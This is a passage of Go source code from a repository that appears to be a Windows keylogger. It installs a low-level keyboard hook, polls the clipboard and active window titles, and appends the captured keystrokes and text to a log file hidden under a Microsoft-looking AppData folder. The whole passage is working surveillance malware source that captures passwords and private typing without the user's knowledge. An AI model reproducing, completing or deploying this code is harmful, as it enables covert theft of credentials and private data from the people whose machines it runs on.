103 | 110: ".",
104 | 111: "[Divide]",
105 | 112: "[F1]",
106 | 113: "[F2]",
107 | 114: "[F3]",
108 | 115: "[F4]",
109 | 116: "[F5]",
110 | 117: "[F6]",
111 | 118: "[F7]",
112 | 119: "[F8]",
113 | 120: "[F9]",
114 | 121: "[F10]",
115 | 122: "[F11]",
116 | 123: "[F12]",
117 | 144: "[NumLock]",
118 | 145: "[ScrollLock]",
119 | 160: "", //LShift
120 | 161: "", //RShift
121 | 162: "[Ctrl]",
122 | 163: "[Ctrl]",
123 | 164: "[Alt]", //LeftMenu
124 | 165: "[RightMenu]",
125 | 186: ";",
126 | 187: "=",
127 | 188: ",",
128 | 189: "-",
129 | 190: ".",
130 | 191: "/",
131 | 192: "`",
132 | 219: "[",
133 | 220: "\\",
134 | 221: "]",
135 | 222: "'",
136 | 223: "!",
137 | }
138 |
139 | //SHIFT
140 | var keys_high = map[uint16]string{
141 | 8: "[Back]",
142 | 9: "[Tab]",
143 | 10: "[Shift]",
144 | 13: "[Enter]\r\n",
145 | 17: "[Ctrl]",
146 | 18: "[Alt]",
147 | 20: "", //CAPS LOCK
148 | 27: "[Esc]",
149 | 32: " ", //SPACE
150 | 33: "[PageUp]",
151 | 34: "[PageDown]",
152 | 35: "[End]",
153 | 36: "[Home]",
154 | 37: "[Left]",
155 | 38: "[Up]",
156 | 39: "[Right]",
157 | 40: "[Down]",
158 | 41: "[Select]",
159 | 42: "[Print]",
160 | 43: "[Execute]",
161 | 44: "[PrintScreen]",
162 | 45: "[Insert]",
163 | 46: "[Delete]",
164 | 47: "[Help]",
165 | 48: ")",
166 | 49: "!",
167 | 50: "@",
168 | 51: "#",
169 | 52: "$",
170 | 53: "%",
171 | 54: "^",
172 | 55: "&",
173 | 56: "*",
174 | 57: "(",
175 | 65: "A",
176 | 66: "B",
177 | 67: "C",
178 | 68: "D",
179 | 69: "E",
180 | 70: "F",
181 | 71: "G",
182 | 72: "H",
183 | 73: "I",
184 | 74: "J",
185 | 75: "K",
186 | 76: "L",
187 | 77: "M",
188 | 78: "N",
189 | 79: "O",
190 | 80: "P",
191 | 81: "Q",
192 | 82: "R",
193 | 83: "S",
194 | 84: "T",
195 | 85: "U",
196 | 86: "V",
197 | 87: "W",
198 | 88: "X",
199 | 89: "Y",
200 | 90: "Z",
201 | 91: "[Windows]",
202 | 92: "[Windows]",
203 | 93: "[Applications]",
204 | 94: "",
205 | 95: "[Sleep]",
206 | 96: "0",
207 | 97: "1",
208 | 98: "2",
209 | 99: "3",
210 | 100: "4",
211 | 101: "5",
212 | 102: "6",
213 | 103: "7",
214 | 104: "8",
215 | 105: "9",
216 | 106: "*",
217 | 107: "+",
218 | 108: "[Separator]",
219 | 109: "-",
220 | 110: ".",
221 | 111: "[Divide]",
222 | 112: "[F1]",
223 | 113: "[F2]",
224 | 114: "[F3]",
225 | 115: "[F4]",
226 | 116: "[F5]",
227 | 117: "[F6]",
228 | 118: "[F7]",
229 | 119: "[F8]",
230 | 120: "[F9]",
231 | 121: "[F10]",
232 | 122: "[F11]",
233 | 123: "[F12]",
234 | 144: "[NumLock]",
235 | 145: "[ScrollLock]",
236 | 160: "", //LShift
237 | 161: "", //RShift
238 | 162: "[Ctrl]",
239 | 163: "[Ctrl]",
240 | 164: "[Alt]", //LeftMenu
241 | 165: "[RightMenu]",
242 | 186: ":",
243 | 187: "+",
244 | 188: "<",
245 | 189: "_",
246 | 190: ">",
247 | 191: "?",
248 | 192: "~",
249 | 219: "°",
250 | 220: "|",
251 | 221: "}",
252 | 222: "\"",
253 | 223: "!",
254 | }
255 |
256 | //大小写
257 | var capup = map[uint16]string{
258 | 8: "[Back]",
259 | 9: "[Tab]",
260 | 10: "[Shift]",
261 | 13: "[Enter]\r\n",
262 | 14: "",
263 | 15: "",
264 | 16: "",
265 | 17: "[Ctrl]",
266 | 18: "[Alt]",
267 | 19: "",
268 | 20: "", //CAPS LOCK
269 | 27: "[Esc]",
270 | 32: " ", //SPACE
271 | 33: "[PageUp]",
272 | 34: "[PageDown]",
273 | 35: "[End]",
274 | 36: "[Home]",
275 | 37: "[Left]",
276 | 38: "[Up]",
277 | 39: "[Right]",
278 | 40: "[Down]",
279 | 41: "[Select]",
280 | 42: "[Print]",
281 | 43: "[Execute]",
282 | 44: "[PrintScreen]",
283 | 45: "[Insert]",
284 | 46: "[Delete]",
285 | 47: "[Help]",
286 | 48: "0",
287 | 49: "1",
288 | 50: "2",
289 | 51: "3",
290 | 52: "4",
291 | 53: "5",
292 | 54: "6",
293 | 55: "7",
294 | 56: "8",
295 | 57: "9",
296 | 65: "A",
297 | 66: "B",
298 | 67: "C",
299 | 68: "D",
300 | 69: "E",
301 | 70: "F",
302 | 71: "G",
303 | 72: "H",
304 | 73: "I",
305 | 74: "J",
306 | 75: "K",
307 | 76: "L",
308 | 77: "M",
309 | 78: "N",
310 | 79: "O",
311 | 80: "P",
312 | 81: "P",
313 | 82: "R",
314 | 83: "S",
315 | 84: "T",
316 | 85: "U",
317 | 86: "V",
318 | 87: "W",
319 | 88: "X",
320 | 89: "Y",
321 | 90: "Z",
322 | 91: "[Windows]",
323 | 92: "[Windows]",
324 | 93: "[Applications]",
325 | 94: "",
326 | 95: "[Sleep]",
327 | 96: "0",
328 | 97: "1",
329 | 98: "2",
330 | 99: "3",
331 | 100: "4",
332 | 101: "5",
333 | 102: "6",
334 | 103: "7",
335 | 104: "8",
336 | 105: "9",
337 | 106: "*",
338 | 107: "+",
339 | 108: "[Separator]",
340 | 109: "-",
341 | 110: ".",
342 | 111: "[Divide]",
343 | 112: "[F1]",
344 | 113: "[F2]",
345 | 114: "[F3]",
346 | 115: "[F4]",
347 | 116: "[F5]",
348 | 117: "[F6]",
349 | 118: "[F7]",
350 | 119: "[F8]",
351 | 120: "[F9]",
352 | 121: "[F10]",
353 | 122: "[F11]",
354 | 123: "[F12]",
355 | 144: "[NumLock]",
356 | 145: "[ScrollLock]",
357 | 160: "", //LShift
358 | 161: "", //RShift
359 | 162: "[Ctrl]",
360 | 163: "[Ctrl]",
361 | 164: "[Alt]", //LeftMenu
362 | 165: "[RightMenu]",
363 | 186: ";",
364 | 187: "=",
365 | 188: ",",
366 | 189: "-",
367 | 190: ".",
368 | 191: "/",
369 | 192: "`",
370 | 219: "[",
371 | 220: "\\",
372 | 221: "]",
373 | 222: "'",
374 | 223: "!",
375 | }
376 |
377 | var (
378 | user32 = windows.NewLazySystemDLL("user32.dll")
379 | procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW")
380 | procCallNextHookEx = user32.NewProc("CallNextHookEx")
381 | procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
382 | procGetMessage = user32.NewProc("GetMessageW")
383 | procGetKeyState = user32.NewProc("GetKeyState")
384 | procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
385 | procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
386 | procGetWindowTextW = user32.NewProc("GetWindowTextW")
387 | keyboardHook HHOOK
388 | tmpKeylog string
389 | )
390 |
391 | const (
392 | WH_KEYBOARD_LL = 13
393 | WM_KEYDOWN = 256
394 | )
395 |
396 | type (
397 | DWORD uint32
398 | WPARAM uintptr
399 | LPARAM uintptr
400 | LRESULT uintptr
401 | HANDLE uintptr
402 | HINSTANCE HANDLE
403 | HHOOK HANDLE
404 | HWND HANDLE
405 | )
406 |
407 | type HOOKPROC func(int, WPARAM, LPARAM) LRESULT
408 |
409 | type KBDLLHOOKSTRUCT struct {
410 | VkCode DWORD
411 | ScanCode DWORD
412 | Flags DWORD
413 | Time DWORD
414 | DwExtraInfo uintptr
415 | }
416 |
417 | type POINT struct {
418 | X, Y int32
419 | }
420 |
421 | type MSG struct {
422 | Hwnd HWND
423 | Message uint32
424 | WParam uintptr
425 | LParam uintptr
426 | Time uint32
427 | Pt POINT
428 | }
429 |
430 | func clipboardLogger() {
431 |
432 | text, _ := clipboard.ReadAll()
433 |
434 | for {
435 | text1, _ := clipboard.ReadAll()
436 | if text1 != "" && text1 != text {
437 | tmpKeylog += string("\r\n[Clipboard: " + text1 + "]\r\n")
438 | text = text1
439 |
440 | }
441 | time.Sleep(20 * time.Millisecond)
442 |
443 | }
444 |
445 | }
446 | func WindowLogger() {
447 |
448 | var tmpTitle string
449 | for {
450 | g, _ := getForegroundWindow()
451 | b := make([]uint16, 200)
452 | _, err := getWindowText(g, &b[0], int32(len(b)))
453 | if err != nil {
454 | }
455 | if syscall.UTF16ToString(b) != "" {
456 | if tmpTitle != syscall.UTF16ToString(b) {
457 | tmpTitle = syscall.UTF16ToString(b)
458 | tmpKeylog += string("\r\n[" + tmpTitle + "]\r\n")
459 |
460 | }
461 | }
462 |
463 | time.Sleep(1 * time.Millisecond)
464 | }
465 | }
466 | func getForegroundWindow() (hwnd syscall.Handle, err error) {
467 | r0, _, e1 := syscall.Syscall(procGetForegroundWindow.Addr(), 0, 0, 0, 0)
468 | if e1 != 0 {
469 | err = error(e1)
470 | return
471 | }
472 | hwnd = syscall.Handle(r0)
473 | return
474 | }
475 | func getWindowText(hwnd syscall.Handle, str *uint16, maxCount int32) (len int32, err error) {
476 | r0, _, e1 := syscall.Syscall(procGetWindowTextW.Addr(), 3, uintptr(hwnd), uintptr(unsafe.Pointer(str)), uintptr(maxCount))
477 | len = int32(r0)
478 | if len == 0 {
479 | if e1 != 0 {
480 | err = error(e1)
481 | } else {
482 | err = syscall.EINVAL
483 | }
484 | }
485 | return
486 | }
487 | func SetWindowsHookEx(idHook int, lpfn HOOKPROC, hMod HINSTANCE, dwThreadId DWORD) HHOOK {
488 | ret, _, _ := procSetWindowsHookEx.Call(
489 | uintptr(idHook),
490 | uintptr(syscall.NewCallback(lpfn)),
491 | uintptr(hMod),
492 | uintptr(dwThreadId),
493 | )
494 | return HHOOK(ret)
495 | }
496 | func Keylogger() {
497 | var msg MSG
498 | CAPS, _, _ := procGetKeyState.Call(uintptr(w32.VK_CAPITAL))
499 | CAPS = CAPS & 0x000001
500 | var CAPS2 uintptr
501 | var SHIFT uintptr
502 |
503 | //var write bool = false
504 | keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)(func(nCode int, wparam WPARAM, lparam LPARAM) LRESULT {
505 | if nCode == 0 && wparam == WM_KEYDOWN {
506 | SHIFT, _, _ = procGetAsyncKeyState.Call(uintptr(w32.VK_SHIFT))
507 | if SHIFT == 32769 || SHIFT == 32768 {
508 |
509 | SHIFT = 1
510 | }
511 | kbdstruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lparam))
512 | code := byte(kbdstruct.VkCode)
513 | if code == w32.VK_CAPITAL {
514 | if CAPS == 1 {
515 | CAPS = 0
516 | } else {
517 | CAPS = 1
518 | }
519 | }
520 | if SHIFT == 1 {
521 | CAPS2 = 1
522 | } else {
523 | CAPS2 = 0
524 | }
525 | //未按shift
526 | if CAPS == 0 && CAPS2 == 0 {
527 | tmpKeylog += keys_low[uint16(code)]
528 |
529 | } else if CAPS2 == 1 {
530 | tmpKeylog += keys_high[uint16(code)]
531 | } else {
532 | tmpKeylog += capup[uint16(code)]
533 | }
534 |
535 | }
536 | if tmpKeylog != "" {
537 | savefile(tmpKeylog, KeylogSavePath)
538 | tmpKeylog = ""
539 | }
540 | return CallNextHookEx(keyboardHook, nCode, wparam, lparam)
541 | }), 0, 0)
542 |
543 | for GetMessage(&msg, 0, 0, 0) != 0 {
544 | time.Sleep(1 * time.Millisecond)
545 | }
546 |
547 | UnhookWindowsHookEx(keyboardHook)
548 | keyboardHook = 0
549 | }
550 |
551 | //保存位置
552 | func getAppData() string {
553 | usr, err := user.Current()
554 | if err != nil {
555 | log.Fatal(err)
556 | }
557 | app := usr.HomeDir + "\\AppData\\Local\\Packages\\Microsoft.Messaging\\"
558 | return app
559 | }
560 |
561 | func DirisExist(filename string) bool {
562 | _, err := os.Stat(filename)
563 | return err == nil
564 | }
565 |
566 | func savefile(str string, location string) {
567 |
568 | dir := strings.Replace(location, "\\", "/", -1)
569 | path, _ := filepath.Split(dir)
570 | //log.Printf(dir)
571 | if !DirisExist(path) {
572 | err := os.MkdirAll(path, 0777)
573 | if err != nil {
574 | log.Fatal("cannot create directory")
575 | }
576 | }
577 |
578 | f, err := os.OpenFile(dir, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0644)
579 | if err != nil {
580 | log.Fatalf("file open error : %v", err)
581 | }
582 | defer f.Close()
583 | log.SetOutput(f)
584 | log.Printf(str)
585 | time.Sleep(20 * time.Millisecond)
586 | }
587 |
588 | func CallNextHookEx(hhk HHOOK, nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
589 | ret, _, _ := procCallNextHookEx.Call(
590 | uintptr(hhk),
591 | uintptr(nCode),
592 | uintptr(wParam),
593 | uintptr(lParam),
594 | )
595 | return LRESULT(ret)
596 | }
597 | func GetMessage(msg *MSG, hwnd HWND, msgFilterMin uint32, msgFilterMax uint32) int {
598 | ret, _, _ := procGetMessage.Call(
599 | uintptr(unsafe.Pointer(msg)),
600 | uintptr(hwnd),
601 | uintptr(msgFilterMin),
602 | uintptr(msgFilterMax))
603 | return int(ret)
604 | }
605 | func UnhookWindowsHookEx(hhk HHOOK) bool {
606 | ret, _, _ := procUnhookWindowsHookEx.Call(
607 | uintptr(hhk),
608 | )
609 | return ret != 0
610 | }
611 |
--------------------------------------------------------------------------------
/resource.syso:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imsellbaox/Eyeworm/26daf2c360b6fa560f81920af6930ae69e308ec7/resource.syso
--------------------------------------------------------------------------------